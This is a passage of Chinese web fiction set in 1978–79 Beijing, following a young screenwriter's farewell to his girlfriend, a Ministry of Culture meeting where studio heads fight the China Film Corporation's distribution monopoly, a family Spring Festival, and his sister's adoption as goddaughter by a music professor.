你还不知道吧?全总文工团今年也招人,我想再努力一下子,如果能考上全总,我就算端上铁饭碗了。 感谢你给机会啊。” “如果是为了学习,那你来我这部戏反而不合适了。” “怎么说?” “我这是部武打片,演员是从全国各地挑选出来的练家子,可以说一个懂表演的都没有,进组后先得接受培训。” 葛优一拍大腿道:“那不正好吗,我也没接受过正经的专业培训,我跟大家共同学习,共同进步呗。” 高远笑道:“那行,回头等剧组正式组建了,我通知你。” 葛优诶诶答应着,特精神振奋、获益良多。 第122章 暂别 领导开恩,准了李健群的假。 离过年还有三天,姐姐要回武汉与父母团圆了。 高远当仁不让前来相送。 去年电影拍完后短暂离别,李健群拒绝了高远蹬上车送一程的心意,那是因为两人的关系名不正言不顺啊。 在这个保守的年代中,青年男女只要没确定男女朋友关系,稍微走近一些,都会被人嚼舌根子,说两人作风不正派。 今年就不存在这个思想负担了。 厂里的干部职工们都知道小高和小李建立了**般的恋爱关系,小李都见过公婆了。 见了公婆,就意味着两人分手的可能性基本上不存在了。 伟大领袖教导我们说,不以婚姻为目的的恋爱就是耍流氓嘛。 并且两人根本不掩饰对彼此的爱意,在大家面前那叫一个柔情蜜意、难分难舍、如胶似漆。 看得老同志们摇头轻叹,年轻人们羡慕不已。 此时,李健群轻盈一跳,上了后座。 学过舞蹈的姑娘太残暴了,体态真没的说。 高远车把上挂着个军绿色大包,包里是老妈张雪梅给亲家采买的老BJ特产,烤鸭、稻香村、京八件之类的。 高远有点担心,以现如今火车运行的速度,姐姐到家后那两只鸭子非得臭了不可。 但她拧不过老妈。 老妈说,鸭子是风干过的,放个五七八天也坏不了。 他也就装包里了。 “坐稳了,咱出发喽。”见她坐好,高远笑笑,一米多的大长腿瞬间抡起来,又将车链条蹬出了火星子。 “呀!你慢点儿骑。”李健群赶忙将她的书包搂进怀里,单手环着高远的腰,寒风一吹,俏脸绯红。 高远听劝,放慢了车速,找了个话题聊着:“对了,我一直想问一直没好意思张嘴,咱俩都确定关系了,你打算什么时候带我去觐见我岳父岳母啊?” 李健群呸了一声,说道:“我现在可不敢把你往家带,你大学还没毕业呢,这要是让我父母知道了,我找了个大学生小对象,那还了得。” 高远哈哈一笑,道:“怕我岳父岳母说你是老牛吃嫩草?” “你呀,嘴里就没句好话。那个啥,我这次回去后先跟我父母提一提吧,看看两位老人什么意见,他们如果同意咱俩交往的话,明年找个时间,我带你回家。” “怎么可能不同意,我这么优秀。再说了,严格说起来,你也没毕业呢,也要到明年夏天才正式离校,现在咱俩交往,首先不算是早恋,其次属于纯洁的、对等的大学生自由恋爱,这两点,请李老师务必向我岳父岳母阐述清楚。” “你别老一口一个岳父岳母的,咱俩能不能成还两说着呢。” “姐姐,你这摆明了是要是背叛**情侣的真挚感情啊。” 李健群锤他一下,“就会胡说,我什么时候说过我要背叛那什么……真挚感情了啊,也不知道你这小脑袋瓜一天到晚都在琢磨些什么东西。” 高远乐道:“琢磨你呗,顺带着琢磨琢磨咱俩未来将要一起度过的美好生活。” 李健群噗嗤一笑,环住他老腰的手又紧了紧。 一路风驰电掣,骑到了火车站。 这年头儿的春运工作比后世可轻松太多了,农民工进城打工的大潮还没到来,同志们返乡回家过年,多以乘坐客运汽车为主。 所以,车站里人不多。 车票是高远早就买好的,托了班里一个之前在铁路部门工作的同学搞到了一张硬卧。 他又买了张站台票,把温柔大姐姐送进火车包厢。 李健群从书包里拿出一条棕色围巾亲自给高远戴上,轻声说道:“我亲手织的,还有三条我已经给雅姐送过去了,让她给叔叔阿姨各一条,算是我的新年礼物吧。” 高远心里那个暖啊,自己净收姐姐的礼物了,回头说啥也得给姐姐回份大礼。 摸着针脚细密,样式新颖时髦的围巾,高远低声道:“我后悔送你来火车站了,我应该留下你陪我一起过年。” “说什么傻话呢,我也一年多没见过父母了,不想他们啊。行了行了,别在这儿伤春悲秋的了,你那些甜言蜜语,都给我攒着,等我回来后再说给我听。 我最多初三就回来了。”李健群把他往车厢外面推。 “好好好,我都攒着……看好包啊,到家后给我来个电话。”高远边往外走边叮嘱道,他家已经安装上电话了。 “知道啦。” “我妈准备的那个包里有牛肉罐头、午餐肉罐头,还给你准备了一些零食,让你饿了在路上吃,火车上的饭没滋没味,你别买。 对了,我还给你准备了基本杂志,也搁包里呢,你闲着无聊就拿出来看看。” 他跟个老妈子一样,苦口婆心地嘱咐了一遍又一遍。 李健群纵然从小独立惯了,此刻也感觉到内心中充斥的温暖,连口说着好。 从京城到武汉,途经保定、石家庄、郑州、驻马店、孝感等小大城市,50多个小时的车程。 折腾这一回,直接瘦一斤。 高远下了车,又扒着车窗跟姐姐神情凝视了片刻,一直到“呜呜”的长鸣声响起,车轮还是向前转动,他才挥手,眼含热泪目送姐姐俏丽的容颜渐渐消失在自己眼眸中。 妈的,还有三年才毕业,毕业后才能向组织打报告申请结婚。 美人近在眼前,能看不能吃,这日子,太他妈难熬了。 高远蹬着自行车,心情沮丧,咬牙切齿地往城里返。 三九天,正是一年中最冷的时候。 汪阳从伏尔加里钻出来,裹了裹大衣抬腿走进文化部大楼。 今儿要开大会,新春茶话会。 名头是茶话会,但汪阳心里清楚,这个会议的主题是电影产业改革。 高远那小子给牵了个头,前些日子自己跟高部长深谈了一次,自己的一些想法被高部长采纳了,所以才有了今天这个会议。 国内近二十家电影制片厂的负责人今天齐聚一堂。 汪阳大步走进会议室的时候 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他特看不上徐桑楚,觉得这个人资产阶级思想严重,穿西装打领带皮鞋锃亮的,尤其是他那头发,整齐划一向后梳,上面仿佛抹了二斤香油。 但他也不否认徐桑楚是个很有能力的干部。 上影厂在徐桑楚担任厂长后,拍摄制作出了很多优秀的、影响力深远的经典影片。 《芙蓉镇》《阿Q正传》《苦恼人的笑》《江水滔滔》等等。 听了汪阳的挖苦,徐桑楚一点生气的意思都没有,哈哈一笑,道:“我知道你这个老家伙看不惯我这身装扮,可你也拿我没办法啊,顶多就是嘲讽我两句。” 汪阳又哼了一声。 徐桑楚话锋一转,凑到他跟前低声说道:“咋俩一见面就掐,定了天就算个人民内部矛盾,争来争去争的就是个嘴皮子上的痛快。 但今儿这形势不一样啊。 咱们必须得团结起来,枪杆子一致对外,再任由中影那帮小赤佬垄断发行业务,大家的日子会越来越难过的。” 汪阳身边另一位,长影厂的女厂长刘儒也点头说道:“是啊,中影公司长期垄断影片的发行工作,每部片子却只给我们这些生产单位70万制作经费,我们只敢少投入,连像样一点的片子都不敢拍。 老厂长,您是老**了,在咱们这伙人里面德高望重,这事儿您无论如何都得牵头,逼迫着中影让出部分权力来,让我们下面的制作单位也有口饭吃。” 她这话一说,不管是峨影、珠江、八一,还是天山、潇湘、广西这些制片厂的厂长们立刻跟上,大吐苦水、怨声载道起来。 汪阳刚想说话,一个人走了进去。 大家冲他看去,目光嗖嗖嗖如放射闪电一般。 他叫丁达明,正是中影公司的老总。 参加会议的这帮人里,最遭人憎恨的就是此人了。 但丁达明不在乎,他早就习惯了大家对他的反感,进来后笑呵呵说道:“哟,各位来得早啊,都吃了没?” 第123章 操!丧心病狂! 所有人都目光冷冽看着他,却没人跟他搭话。 丁达明仍旧一脸笑容,也不在意,自顾自拉开椅子坐了下来。 这时候,文化部大佬高跃华在秘书靳鹏飞,还有几个高官的陪同下走进了会议室。 “很高兴见到大家,今天咱们这也算是贤达齐聚,群雄并至了吧?”高跃华上来先开了句玩笑,活跃下气氛。 同志们呵呵一笑,算是给他一个回应。 高跃华落座后继续说道:“我自前年底正式恢复工作,来到咱们文化部就任以来,短短一年时间,跟在座的各位见面的次数不算多,可也不算少。 虽然并不时常见面,但我对各位同志在过去一年中所作出的工作成绩是非常满意的。 今天这个茶话会,咱们不讲虚的,挑点儿干的唠。 大家畅所欲言,我先起个头儿。 国家去年给各家制片厂下达的生产指标大家都顺利完成了,作品质量也有目共睹,其中更是不乏分量很重的几部好片。 今年呢,你们各家制片厂提交上来的生产内容我也全都看过了。 都很好啊,都有一番干事创业的雄心壮志! 比如说,汪老,你们厂要拍摄制作一部武打片,叫《太极宗师》是吧?” 汪阳点头道:“没错儿,就叫《太极宗师》,讲太极功夫传承的。” 徐桑楚接茬说道:“那还真巧了嘿,我们厂也相中一个武打故事,叫《龙腾虎跃》,是在上期的《**故事会》杂志上发表的。 写的那叫一个精彩啊,我们打算买下来改编成电影。 老家伙,看来咱们两家又得打打擂台了。” 汪阳哼了声道:“《龙腾虎跃》你就别惦记了,本子在我手里呢。” 徐桑楚大惊,“你什么时候买下的版权?” 汪阳嗤道:“写这个故事的作者就是我们厂的人,自然是故事刚创作完就被我拿下了,我不早下手,难道还能便宜了你这个外人不成?” 徐桑楚一拍大腿说道:“这么说来,我这趟进京的另一个任务算是彻底没戏了。” 高跃华笑着说:“徐老,我听说你们不是要拍《巴山夜雨》么?您还愁新片子拍出来后没法跟汪老打擂台?” “嗐,毕竟类型不一样嘛,论在人民群众心目中的影响力,剧情片怎么可能跟武打片相提并论啊。”徐桑楚感慨道。 汪阳嘿嘿笑了,越发对自己当初坚定不移地支持高远拍摄《太极》感到骄傲。 “算你个老小子心里还有点数,知道剧情片和武打片不可拿到一起去作比较。”老厂长乐开了花。 两家厂存在直接竞争关系,这二位又都是争强好胜之人,每年都要比个高低。 徐桑楚也不恼,笑着说:“我们要是拿出一部《阿Q正传》来,你要怎么应对?” 汪阳立刻回击:“我们也正在筹备《茶馆》!” 前者是鲁迅,后者是老舍。 在场的诸位皆倒吸一口凉气,这就是大制片厂的底气,拍的全是文坛大家的名著。 高跃华也笑着说道:“拍《茶馆》好啊,老舍先生刚被**不久,他的作品要多拍,也要拍好。当然,鲁迅先生的《阿Q正传》也是不朽名篇,我相信上影厂的同志们也不会懈怠,一定会认真拍好这部作品的。” 这是典型的和稀泥交流法,高跃华张口就来,十分娴熟。 随后,各家电影厂都说了说今年的拍摄计划。 茶水都喝了三轮,瓜子也嗑了一桌子。 高跃华这才说道:“我由衷希望在新的一年里,各家制片厂,各位同志能够深入贯彻落实十一届三中全会精神,在改革开放的大潮下多拍好片,多拍人民群众喜闻乐见的影片。 为全国广大人民群众的业余文化生活增光添彩,为我国电影事业的发展添砖加瓦。” “恐怕我们在座的各位很难承担起这么大的重任来啊。” 汪阳等的就是高跃华最后这番总结的话,要不然他还真没办法开口。 当然,这也是两人提前商量好的。 高跃华一总结,汪阳就开炮。 “哦?老厂长何出此言?”高跃华立马化身捧哏,追问了一句。 丁达明眼皮子一跳,一股不祥之感浮现上心头。 果不其然,汪阳扭头狠狠瞪了他一眼,语气冷冽道:“丁大总经理,你应该清楚我想要说点什么,你应该把你的拳头松一松了,权力抓得太紧,吃相太难看,你是不怕被**,还是不担心会撑死?! 我还是那句话,我向来主张产销一体化,电影发行权必须改革,只有改革,才是顺应时代发展的大趋势!” 丁达明丝毫不惧,跟他对视着,沉声说道:“哪有那么多必须的事情,你说改革就改革啊?电影发行工作是国家赋予我们中影公司的权力。 不是我丁达明个人的权力,汪厂长你发表意见之前,先把国家政策搞搞清楚好不好? 一张嘴就给我扣这么大帽子,我丁达明脑袋小,戴着晃荡!” 丁达明不是一个人在战斗,他也带来了同盟军。 副总经理邱成胜说道:“老厂长,电影发行和生产制作本来就是两个不同领域的工作,所谓铁路警察各管一段,你负责好艺术生产就可以了嘛,发行工作交给我们您有什么不放心的?” “这是放心不放心的问题吗?负责生产的人就活该吃不饱饭了?饿着肚子怎么进行生产?怎么对艺术负责?”汪阳和他杠上了。 “谁也没说不让你吃饭啊。” “一部片子你们只给70万,你让我们吃什么饭?屎都吃不上热乎的!” 徐桑楚拍着桌子说道:“刚才高部长提到了我们厂正在筹备的《巴山夜雨》,老丁、老邱,你俩摸着良心想想看,70万,够我制作这部影片吗?” 刘儒立刻跟上说:“高部长,我向您汇报过了,我们长拍摄制作的《保密局的**》拍到一半就因为资金问题停机了,向中影申请15万的资金恢复拍摄,被丁达明同志驳了回来。 导致这部片子至今仍处在停拍状态中。 丁达明同志的这种行为叫什么? 我想应该叫不懂变通的教条主义吧?” “你也少给我扣帽 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况且对方还是文艺兵里的头儿,执导的全是《大决战》《辽沈战役》《淮海战役》这类影片,群演都是直接调动部队。 他说让自己尝尝他们的枪杆子有多硬,你以为他吹呢? 自己如果今天还敢硬挺,被打黑枪的几率超过了十成。 丁达明转了转眼珠儿,叹声气道:“张厂长,在座的各位领导、厂长们,既然话已经说到这里了,我也撂一句实打实的心里话,我不反对改革,也知道你们制片厂的日子过得艰难。 省吃俭用出来的那点钱全都投入到影片的拍摄制作中去了。 但是,收购价是国家定出来的。 你们只要能做通上面的工作,我同意提高影片的收购价格。 至于说产销一体,把发行权交还给各位,不好意思,目前实在做不到。” 张景华哼了一声,说道:“你这还算是说了句人话!” 大家的目光不由得望向高跃华。 因为现如今电影制片上归文化部管理,还没归广电局,上级单位的领导,只能是高跃华这个部长。 高跃华苦笑道:“你们别看我,这件事情我也是赞同的,但我也做不了主,得请示廖公做决定。” 汪阳说道:“部长,我有个主意,不知道合不合适。” “老厂长请说。” “大家联名给廖公上书,请求提高影片的收购价格,你看合适吗?” 高跃华想了想,乐了,点头道:“主意歪了点儿,倒也不是不能试一试。” 文化部一副部长主动请缨道:“我来起草,大家签名。” 大家点头说好。 这位副部长要来纸笔,趴在桌子上字斟句酌,半个小时后,一篇华丽文章火热出炉。 大家传阅了一下,均感觉有理有据大开大合。 汪阳拿着,递给丁达明,冷声说道:“丁总,你先签吧,你给大家做个表率。” 丁达明真的不想接,一碰触到张景华那骇人的目光,他心里一哆嗦,赶忙把信接过来,刷刷写上了自己的名字。 第124章 1978过去了 很快大家签完字,交给高跃华让其代为转交廖公阅处。 高跃华也深知事关重大,信件拿在手中,仿佛重如万金。 这是同志们的心声呐。 也是自己挑上这文化部长的重担后打响的第一枪。 “改革”两个字,说起来容易做起来难。 在这个年代中,保守派说话还是很具分量的。 散了会,大家各自离开。 汪阳略留了留。 高跃华请他在身边就座。 靳鹏飞给他泡了新茶。 “部长,傅奇和石慧同志快要回来了吧?”汪阳端着茶杯嗅了嗅,主动开口问道。 高跃华笑道:“明天下午到京,我知道老厂长要问什么,先让两位同志过个好年吧,等年后开了工,我在安排你们会面。” 汪阳感慨道:“在港工作的同志也不容易啊,我听说,他们连个写剧本的人都找不到了?” 高跃华沉重地点头,道:“港英政府对左派防范得很紧,尤其是文化战线这一块儿,仿佛我们拍摄出来的电影就一定是带着**思想的,是妖魔化资本主义的。 所以,左派的日子很艰难,去年一年,他们才拍摄了三部影片,有两部还没通过审核,导致无法上映。” “得想点办法打开局面呀。” “老厂长有什么好办法吗?” “小远子给我个启发,既然没办法拍现实主义题材的影片,那么,拍武打片总没问题吧?武打片又不存在意识形态,故事能说得通,打斗精彩,吸引观众不就行了?” 高跃华笑了,“我也在思考这个问题,觉得这是个破局的好办法,这也是我什么这么着急邀请傅奇同志和石慧同志回京过年的主要原因。” 老厂长扬着嘴角说道:“我不是当着你的面儿夸你侄子,小远这孩子确实是天生吃这碗饭的,他脑袋里面那些想法,连我这个干了半辈子电影事业的老影人听完后都觉得惊才艳艳,拍案叫绝。 老高我跟你说啊,等小远一毕业,你们这些当家长的谁也别给他安排工作,他必须要进我们厂,谁跟我抢我跟谁急。” 高跃华也乐得不行了,点头道:“成成成,我知道您老惜才,您这么器重他,打算带在身边亲自培养,我感激都来不及,敢不遵从您的最高命令?” 汪阳这才心满意足地站起来,把茶杯放下后笑道:“好了,今儿就聊到这儿吧,大家都过个好年,有啥事儿年后再说,你别忘了帮我安排会面那事儿就成。” “我送您。” “还走得动,你留步。” 又过年了。 高远之前问过老爸,今年咋过? 老爸愁眉不展的样子,说:“你大伯赶在年前跟你大伯母领了证,按照你大伯的意思说,今年都去他家里,长兄如父嘛,之前单身也就不讲究这些了。 现在又成了家,弟弟妹妹们得去凑合他。 但是你小叔打听到,高山那小子在京城住下后就一直没走。 最近更是经常在文化部家属院附近转悠。 我和你小叔、小姑一商量,都有点担心再把苏爱玲给招了来,那麻烦就大了,干脆今年还是在咱家过吧。” “我妈没意见吧?” “你妈从来都是个识大体顾大局的人。” “虽然咱家不宽敞,挤一点,但是为了全家人一起过一个热闹祥和的春节,在咱家过我也没意见。” 于是,大年三十这天,全家上下八口人又齐聚高远家。 女同志们是做饭的主力军。 高跃华提议爷儿四个打升级,得到了另外三位男同志的积极响应。 高远和大伯一组,老爸和小叔一组。 结果老爸和小叔都打到J了,高远和大伯才打到3。 气的高跃华吹胡子瞪眼的,“你到底行不行啊?这水平也太洼了,你明明绝了红桃,你爸那一对儿你怎么不毙了它!你算算牌也该知道我手里还捏着20分呢。” “唉,官大一级压**呐,何况还大了很多级,高部长一发火儿,吓得咱这小老百姓脸色煞白,嘴皮子通红,浑身一抽,跟对门儿长征叔他那得了羊角风的老爸似的。” 高远犯贫。 一句话让身在厨房里忙活的四个女人都笑得跟大鹅一般。 高跃华更是哭笑不得,把牌一扣,指着他道:“你个缺德玩意儿,骂你大伯是个官僚对吧?别以为我听不出来。老二,也不知道这小子这张嘴随了谁了? 你印象中,咱家有过这么能说会道、满嘴歪理的人吗?” 高跃民认真琢磨琢磨,说:“大哥你这猛的一说,我还真想不起来。” 高跃林哈哈笑道:“他随了谁了,这小子随咱娘啊。大哥、二哥不记得了?他奶奶虽然没他那么能说,想当年咱们还在新开路胡同住的时候,被别人家孩子欺负了。 咱娘拄着根拐棍儿,迈着小脚,从胡同东骂到胡同西,就没一句重样儿的,到后来那些欺负咱的大孩子还得被家长揪着耳朵登门道歉。 要不然,老太太能在外面骂一天。” 高跃华搓搓脸,嘴角都快咧到耳根子上去了,点头道:“三儿说得没错,你这么一说我也想起来了,咱娘平日里不多言不多语的,咱爹一个眼神儿扫过去,咱娘大气儿都不敢喘一口。 但是咱们四个在外面受了欺负,她可就没完了。 两只小脚一倒腾,站在院子门口一掐腰。 哎哟,骂出来的话就没法听。” 高跃民神情有点沮丧,道:“咱们四个,都是被咱娘像老母鸡护小鸡崽子一般从小护到大的,掐指一算,咱娘走了也有13年了吧?” 高跃华嗓音低沉,道:“14年了,咱娘走那年,老四才13。” 厨房里,高跃然低着头,狠狠抹了把泪。 张雪梅见状,赶紧搂住小姑子的肩膀,然后大声喊道:“大过年的,你们四个能不能说点高兴的事儿啊?说高远这性子随咱娘也就完了,怎么还越说越沉重了。 真想咱娘了,过完年全家给咱爹娘上坟去。 这个话题打住吧,到此为止!” 女主人发话了,爷儿四个也意识到不该说这个话题,互相对视笑了笑。 高跃林问道:“还打吗?” 高跃华瞪着眼说道:“打个屁啊打,远子这水平太次了,我跟他就配合不到一起来!” 高远不服气道:“这领导干部要是不实事求是,老百姓可就一点儿奔头儿都没有了。” “去你的吧。”高跃华把一个烟盒砸到他脑门子上。 齐慧芝洗着菜,问张雪梅道:“雪梅,小远从小就 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“我严重同意。”齐慧芝附和道。 中午这顿饭吃得很热闹,因为有新家庭成员的加入,大家没少喝。 四位女士联手,做了16道菜两个汤,一张折叠圆桌都摆不下了,盘子摞盘子的。 酒喝的是高跃华带来的古井贡,女士们像去年一样,喝红酒。 吃完中午这顿,下午略作休息,一家人开始包饺砸。 黑了天高远和小叔、小姑、姐姐一起下楼放烟花放鞭炮。 其他四位站在阳台窗户前往下看。 过完瘾四人上楼,男人们又开始喝,女人们喝茶嗑瓜子闲聊天。 聊的内容五花八门。 从伤痕文学的兴起,到凤阳点燃了星星之火,从西班牙宣布实行议会君主制,到阿根廷世界杯在布宜诺斯艾利斯举行。 还深刻缅怀了即将正式过去的1978年。 并表示坚定不移地支持四个现代化建设,支持改革开放的路线方针。 听得四个老爷们儿都忍不住笑了起来。 对门突然传来一阵欢笑,并伴随着字正腔圆普通话的声音。 高远问道:“爸,我长征叔家买电视了?” 高跃民点头道:“年前发了一笔奖金,也不知道你长征叔从哪儿倒腾了张电视机票,就买了台9寸黑白电视机回来。” 张雪梅撇着嘴说道:“你们是没见到长征刚把电视机抬进家门时那景象啊,好家伙,把整个楼道的老师和家属们都给惊动了,劲儿劲儿地跑人家里去蹭电视机看。 呸! 真能拉下这个脸来。 你爸还想去凑热闹来着,被我一把给拽回来了。 买了台破电视机而已,嘚瑟什么?” 高远乐了,老妈又戏精上身了。 您这不是嫌人家嘚瑟,您明显是眼红了啊。 “妈,咱不眼热,他家才买了台9寸的,回头我给您搬家里来一台21寸黑白大彩电。”高远笑道。 “你就糊弄你妈吧,还黑白大彩电,黑白的就是黑白的,彩色的就是彩色的,当你妈傻呢?黑白不分。”张雪梅打他一下,心里倒也甜丝丝的。 第125章 这就是命! 1979年的阴历大年初一,高远是在湘君先生家里过的。 他一早就带着新鲜蔬菜、猪肉,托关系买来的排骨、牛羊肉过来了。 他不仅自己来了,还动员小姑和姐姐一起来的,就怕师母一个人过节寂寞。 一进门,这货就大声喊道:“娘,儿来啦,咱包饺砸啊。” 冉湘君从卧室里走出来,北大教授楼烧得热,她只穿一件素色居家睡衣,一见高远就笑,“臭小子,娘昨儿就跟你说了,别跑,娘有人照顾。 你这是干嘛?给娘来个大搬运?这些玩意儿全搬到你娘家里,你娘也吃不了啊。” 高远边往屋里搬东西边嘿嘿笑道:“您吃不了就冻起来呗,您家比我家自动化啊,电视、洗衣机、电冰箱一样不缺,儿砸都羡慕**好吧。 再说这都不是啥新鲜玩意儿,都是我父母年前发的福利,让我给您带过来的,多少是个心意。 说起来我都埋怨死您了,昨儿个让您去家里过节,您死活不去,您让当儿的都没脸说话了好吗? 大家还以为儿子不孝顺呢。” 冉湘君闻言,气得谈了他个脑瓜崩,没好气儿道:“胡扯,哪个敢说我儿不孝顺,老太太第一个不答应。娘这是还有娘家人,娘家还有侄子,还有外甥,昨儿他们都来了,娘这节过得很好。 要不然,不用你说,娘也得跟你回家。 呀!这是谁啊?这么俊(zuen),姑娘,你是小远子姐姐还是妹妹啊?” 湘君先生好像哥伦布发现了新大陆,瞅见高雅,立刻上前抓住了她的手,端详着她,目光欣赏又可盼地问道。 别说高雅,高远和小姑都傻了。 高远愣了愣,忙介绍道:“娘,这是我姐,叫高雅,我姐之前是个知青,跟我一年考回来的,现在是北师大音乐教育系的在校生。” 冉湘君的双眼越发明亮了,温和望着高雅,问道:“闺女,你是学音乐的?” 高雅脸通红,轻声道:“教授,不敢瞒您,我是学音乐教育的。” “亮一嗓子!” 高雅愣了愣,随后深吸一口气,清唱了一首《边疆的泉水清又清》,清澈透亮的嗓音让湘君先生不住点头。 一句唱闭,先生正色对高雅说道:“小雅,我问你,你愿意拜我为……干妈吗?” 不是师父,是干妈。 这里面的说道可多了去了。 师父的职责是传道、授业、解惑。 干妈,那是真把她当亲闺女待了,别说传授毕生技艺了,说句不中听的,湘君先生无儿无女,将来走了,这些房产、存款,一切的一切都能留给高雅继承。 当然,她不是第一顺位,但若是伺候得好呢? 对吧? 姐姐瞬间傻眼,见高远点头,扑通一声跪倒在地,诚恳地说道:“先生,我自然是求之不得的,但我何德何能啊,能得您欣赏,拜入您的门下,更被您收为义女…… 我欣喜若狂的同时,深感诚惶诚恐啊。” 冉湘君呵呵一笑,扶着高雅的胳膊将她搀起来,慈眉善目,温和笑道:“小雅啊,这就是咱俩之间的缘分。我再说一点,咱俩这缘分,没了小远也结不成。 我也是学音乐的,不瞒你说打小就对乐理有着非同一般的认知,六岁起便跟着私塾先生学认五线谱。 北影厂出品的电影,有百分之八十都是源自于我的配乐。 其他电影制片厂,我也没少配。 我听了你的嗓音后,感觉清澈、透亮、有穿透力,高音上得去,低音沉得来,更难的是,你声音的辨识度太强了,你是个好苗子。 所以,爱才心切,才想收你为徒。 后又觉得咱娘儿俩投缘,故起了心思收你为义女,你在我门下,干妈必定倾囊相授,助你一飞冲天! 这就是咱娘儿俩之间的缘分啊! 还有啊闺女,你以为我为什么会跟老头子一起去接受改造? 因为当时的那些人认为我们资产阶级性质严重!需要接受贫下中农再教育!他们认为我们的音乐充满了**性! 现在好了,**回来后,享受到了国家的待遇,我也被**了,虽然没被安排工作,提前退了,但待遇还在。 今天遇到你,是咱娘儿俩的缘分。 我是打心眼里喜欢你,所以才临时起意,想收你为义女,不求你为我养老送终,只愿我这一门的唱腔后继有人。” 高雅眼含热泪,又跪下,真心实意地给老太太磕了三个响头,道:“干妈,打今儿起您就是我第二个亲妈,咱走,咱今儿不在家里吃了,咱回家吃…… 远子,别慎着了,赶紧往回跑,告诉咱爸妈,我娘要来家里吃饭,辛苦咱爸妈了,让二老准备些好吃好喝的吧!” 高远不由得感慨道,这真是姐姐的造化啊。 老太太却说道:“不去你家费那劲,大过年的,人来客往的,我去也不方便。咱就在家做着吃,小远不是说包饺子吗?咱们一起动手。 对了,你俩还没给我介绍呢,这位姑娘是谁啊?” 高远笑嘻嘻介绍道:“我小姑,叫高跃然。” “教授好。”高跃然笑着给冉湘君鞠躬问候。 冉湘君拉着高跃然的手,眉开眼笑道:“这姑娘长得也端庄秀丽,有对象了没?” 高跃然的脸刷的红了,轻声道:“还没有呢,我还在上学,跟小远小雅一年考上的,只不过他俩比我学习好,我只考了个大专,还在学习阶段,就没顾得上考虑个人问题。” 冉湘君笑着说:“北大的才子一抓一大把,回头我留心着点儿,给你踅摸一个青年才俊。” 高远一乐,说:“这个好这个好,娘您可得上上心,过完年,我小姑就整30了,再不嫁人都成老姑娘了。” 高跃然红着脸说:“去你的,我成老姑娘怎么了?我吃你的了还是喝你的了?你个臭小子别跟我这儿咸吃萝卜淡操心。” 姑侄俩你来我往,句句不让对方,把老太太逗得笑开了花。 “好了,你们俩别犯贫了。你们来陪我过年我很高兴,我来分配一下任务,小远,娘想吃你炖的酱香排骨了,这活交给你。” “没 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高远又感慨道:“这就是命啊。” 高雅贼开心,“我也没想到居然会有如此运气,见到了本人我才想起来,冉教授在国内音乐界久负盛名,是最顶尖的那批音乐家。 小远,怎么之前没听你提起过啊?” 高远一摊手,说道:“我也不知道啊。” 高跃然笑着说:“只能说咱们小雅苦尽甘来了,前些年在大东北遭的那些罪没白遭,老天爷开眼了,送你一个好前程。” “小姑,您咋还迷信上了呢?”高雅挽着小姑的胳膊说道。 “我倒觉得小姑说得对,有了湘君先生当后台,姐,你的前程一定是光明的。”高远说道。 高雅嘿嘿直乐呵,“我一定跟干妈好好学习。” 姑侄三人回到家后,把这事儿向高跃民、张雪梅一说。 两口子也目瞪口呆了,皆感叹闺女这是什么命啊,竟然被湘君先生收作义女,带在身边亲自教导。 两人一商量,这说什么都得提着礼物登门拜访了。 这是起码的礼数,是对老人家的敬重和感谢。 ……………… 高远接到要和傅奇、石慧两口子见面的通知时,是大年初三的上午。 会面定在下午两点钟,时间比较仓促。 中午他简单吃点饭便往北影厂赶。 这货在心里默默吐槽,计划被打乱了啊,温柔大姐姐今天下午回来,他原计划要去火车站接人的。 没办法,出门之前他把接人的任务交给了亲姐姐。 高雅答应得痛快,骑着她新买的飞鸽26自行车直奔火车站而去。 高远对传说中的傅奇、石慧两口子还是比较好奇的。 据说傅奇长得英俊潇洒,石慧更是贵为长城三公主之一。 这对贤伉俪身在港岛心向祖国,为大陆电影事业在香港的发展做出了巨大的贡献。 第126章 傅奇与石慧 高远走进会议室的时候,老厂长和孙文今、**雄等重量级人物已经在座了。 另外还有施雯心、江淮延、四大创作集体的核心导演、老一辈演员等人,皆在此等候着傅奇、石慧的到来。 见他进来,孙文今冲他招招手。 陈强、黄玲、葛存壮等人也对他点头微笑。 那四位老导演却对其横眉冷目、不屑一顾的样子。 有这态度也不稀奇,他在过去的一年中,有点炙手可热的意思,尤其受中生代导演们的追捧。 先是王好为连续执导了他的两部片子,后有李文化又去投奔。 虽说更新换代在所难免,但老导演们也是要面子的。 你小子接二连三在我们创作集体挖人,连个招呼都不打,是真不把我们放在眼里啊。 年纪轻轻的,一点都不懂得尊重师长,你狂什么狂? 高远在乎老导演们怎么看待他吗? 他肯定是不在乎的。 也不是说不尊重这些老前辈,他在食堂里跟水华导演一走两碰头,主动跟人家问好打招呼。 人家眼皮子都不带抬一下的。 他干嘛非要拿自个儿的热脸去贴人家的冷屁股? 那不是犯贱么。 尊重是相互的。 高远走到孙文今身边,笑着问道:“领导有啥指示啊?” 孙文今从兜里摸出块巧克力来递给他,乐呵呵说道:“没啥指示,尝尝,瑞士货,也就是你小子,旁人我还真舍不得给。” 咱不说几位老资格的导演们看不上高远,那不重要,厂里这三位头儿可是一个比一个对他好,有好事儿真想着他。 高远接过来一瞧,嚯,竟然是大名鼎鼎的瑞士莲。 这包装,花里胡哨的,透着那么一股子资产阶级的腐朽气息。 他道声谢,拆开包装塞进嘴里。 一股浓郁的巧克力味道在味蕾上打着旋儿,在口腔里**开来。 高远一挑大拇指,说道:“就叫一地道!” 孙文今咧嘴一笑,道:“那是,我儿子在国外带回来的,要不是老头子我尿糖高,我一口能吃仨。” “糖尿病是富贵病,这年头儿大家普遍都吃不饱的情况下,您都能得这病,从实招来,您到底**了公家多少好东西啊?”高远跟特爱跟孙文今逗乐。 “滚你个蛋的!老头子我尿糖高,纯粹是想当年跟着队伍在江苏干**,顿顿吃河鲜引发的,老子这么高的觉悟,别说贪墨组织上的物品了,群众的一针一线我也不会拿! 早知道你这个德行,我那块巧克力喂狗我也不喂你!” 小老头儿抬手就给了他一拳,然后自个儿也乐了。 旁边的**雄笑着说:“小远子你就别挤兑孙厂长了,赶紧找个地儿坐吧,客人说到就到了。” 高远笑着说好。 他不爱在那几位老导演面前晃荡,见江淮延旁边空着个座,他走过去挨着江主任坐下了。 傅奇和石慧是在文化部一位副部长的陪同下走进来的。 汪阳率先站了起来,激动地走上前跟傅奇握手道:“傅奇同志,又见面了!” 傅奇五十来岁的样子,瘦高个儿,长得确实一表人才。 他握着汪阳的手,笑容灿烂道:“老厂长,好久不见,别来无恙!” “无恙无恙,都好着呢。”汪阳跟他客气一句,又把目光转向石慧,伸出手握了握,道:“石慧同志还是那么端庄秀丽!” 